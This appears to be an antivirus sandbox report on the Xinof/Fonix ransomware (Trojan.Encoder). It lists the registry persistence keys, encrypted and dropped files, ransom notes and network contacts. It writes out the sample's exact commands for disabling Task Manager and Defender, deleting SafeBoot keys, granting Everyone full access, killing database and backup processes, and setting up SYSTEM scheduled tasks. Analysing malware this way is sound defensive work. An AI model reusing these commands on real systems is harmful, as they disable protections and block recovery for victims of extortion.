Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\fonix
- %APPDATA%\microsoft\windows\start menu\programs\startup\xinof.exe
- <SYSTEM32>\tasks\fonix11
- <SYSTEM32>\tasks\fonix10
Creates the following files on removable media
- <Drive name for removable media>:\how to decrypt files.hta
- <Drive name for removable media>:\february_catalogue__2015.doc
- <Drive name for removable media>:\contoso.cer
- <Drive name for removable media>:\pmd.cer
- <Drive name for removable media>:\sdksampleunprivdeveloper.cer
- <Drive name for removable media>:\contosoroot.cer
- <Drive name for removable media>:\contosoroot_1.cer
- <Drive name for removable media>:\sdksampleprivdeveloper.cer
- <Drive name for removable media>:\applicantform_en.doc
- <Drive name for removable media>:\testcertificate.cer
- <Drive name for removable media>:\coffee.bmp
- <Drive name for removable media>:\toolbar.bmp
- <Drive name for removable media>:\default.bmp
- <Drive name for removable media>:\dialmap.bmp
- <Drive name for removable media>:\correct.avi
- <Drive name for removable media>:\cpriv.key
- <Drive name for removable media>:\help.txt
- <Drive name for removable media>:\dashborder_96.bmp
- <Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Windows Defender
Executes the following
- '%WINDIR%\syswow64\taskkill.exe' /f /t /im veeam*
- '%WINDIR%\syswow64\taskkill.exe' /t /f /im sql*
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\xinof.exe
- C:\far2\how to decrypt files.hta
- D:\cpriv.key
- D:\help.txt
- D:\how to decrypt files.hta
- C:\cpriv.key
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\help.txt
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\how to decrypt files.hta
- C:\help.txt
- C:\how to decrypt files.hta
- %ALLUSERSPROFILE%\windowsupdate.hta
- %HOMEPATH%\desktop\how to decrypt files.hta
- %HOMEPATH%\desktop\cpriv.key
- %ALLUSERSPROFILE%\help.txt
- %ALLUSERSPROFILE%\how to decrypt files.hta
- %ALLUSERSPROFILE%\xinofalert.png
- %ALLUSERSPROFILE%\xinoflogo.png
- %ALLUSERSPROFILE%\systemid
- <Current directory>\systemid
- %ALLUSERSPROFILE%\cpriv.key
- %ALLUSERSPROFILE%\cpub.key
- <Current directory>\cpub.key
- <Current directory>\cpriv.key
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\xinof.exe
- C:\far2\help.txt
- C:\far2\cpriv.key
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\xinof.exe
- %ALLUSERSPROFILE%\xinof.exe
Modifies the following files
- <Drive name for removable media>:\correct.avi.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- C:\far2\changelog.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\applicantform_en.doc.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\february_catalogue__2015.doc.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\contoso.cer.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\pmd.cer.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\sdksampleunprivdeveloper.cer.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\contosoroot.cer.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- C:\far2\changelog_eng.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\contosoroot_1.cer.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\testcertificate.cer.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\dashborder_96.bmp.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\coffee.bmp.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\toolbar.bmp.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\default.bmp.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\dialmap.bmp.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- D:\install.log.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- <Drive name for removable media>:\sdksampleprivdeveloper.cer.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
- C:\far2\clearpluginscache.cmd.email=[decryptyourfiles@firemail.cc]id=[17bc71dd].xinof
Creates ransom message files (Trojan.Encoder).
Network activity
Connects to
- '<LOCALNET>.53.1':445
- '<LOCALNET>.53.1':139
- 'co##.jquery.com':443
- 'microsoft.com':80
TCP
- 'co##.jquery.com':443
UDP
- DNS ASK co##.jquery.com
- DNS ASK microsoft.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c chcp 437
- '%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
- '%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c taskkill /t /f /im sql* && taskkill /f /t /im veeam* && taskkill /F /T /IM MSExchange* && taskkill /F /T /IM Microsoft.Exchange* && taskkill /F /T /IM pvx* && taskkill /F /T...
- '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /t /f /im sql*
- '%WINDIR%\syswow64\cmd.exe' /c Copy Cpriv.key %ALLUSERSPROFILE%\Cpriv.key
- '%WINDIR%\syswow64\cmd.exe' /c Copy Cpub.key %ALLUSERSPROFILE%\Cpub.key
- '%WINDIR%\syswow64\cmd.exe' /c Copy SystemID %ALLUSERSPROFILE%\SystemID
- '%WINDIR%\syswow64\cmd.exe' /c Copy %ALLUSERSPROFILE%\Cpriv.key %userprofile%\Desktop\Cpriv.key
- '%WINDIR%\syswow64\icacls.exe' * /grant Everyone:(OI)(CI)F /T /C /Q
- '%WINDIR%\syswow64\cmd.exe' /c Copy "%ALLUSERSPROFILE%\How To Decrypt Files.hta" "%userprofile%\Desktop\How To Decrypt Files.hta"
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
- '%WINDIR%\syswow64\reg.exe' delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
- '%WINDIR%\syswow64\cmd.exe' /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
- '%WINDIR%\syswow64\reg.exe' delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
- '%WINDIR%\syswow64\cmd.exe' /c start cmd.exe /c "%ALLUSERSPROFILE%\WindowsUpdate.hta" && exit
- '%WINDIR%\syswow64\attrib.exe' +h +s %ALLUSERSPROFILE%\XINOF.exe
- '%WINDIR%\syswow64\cmd.exe' /c "%ALLUSERSPROFILE%\WindowsUpdate.hta"
- '%WINDIR%\syswow64\cmd.exe' /c attrib +h +s %ALLUSERSPROFILE%\XINOF.exe
- '%WINDIR%\syswow64\cmd.exe' /c attrib +h +s XINOF.exe
- '%WINDIR%\syswow64\chcp.com' 437
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /RU SYSTEM /RL HIGHEST /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /RU SYSTEM /RL HIGHEST /F
- '%WINDIR%\syswow64\cmd.exe' /c copy %ALLUSERSPROFILE%\XINOF.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '%WINDIR%\syswow64\cmd.exe' /c copy %ALLUSERSPROFILE%\XINOF.exe "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /F
- '%WINDIR%\syswow64\cmd.exe' /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '%WINDIR%\syswow64\attrib.exe' +h +s "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '%WINDIR%\syswow64\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '%WINDIR%\syswow64\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix11 /TR "<Full path to file>" /RU SYSTEM /RL HIGHEST /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN fonix11 /TR "<Full path to file>" /RU SYSTEM /RL HIGHEST /F
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix10 /TR "<Full path to file>" /F
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /SC ONLOGON /TN fonix10 /TR "<Full path to file>" /F
- '%WINDIR%\syswow64\attrib.exe' +h +s XINOF.exe
- '%WINDIR%\syswow64\mshta.exe' "%ALLUSERSPROFILE%\WindowsUpdate.hta"
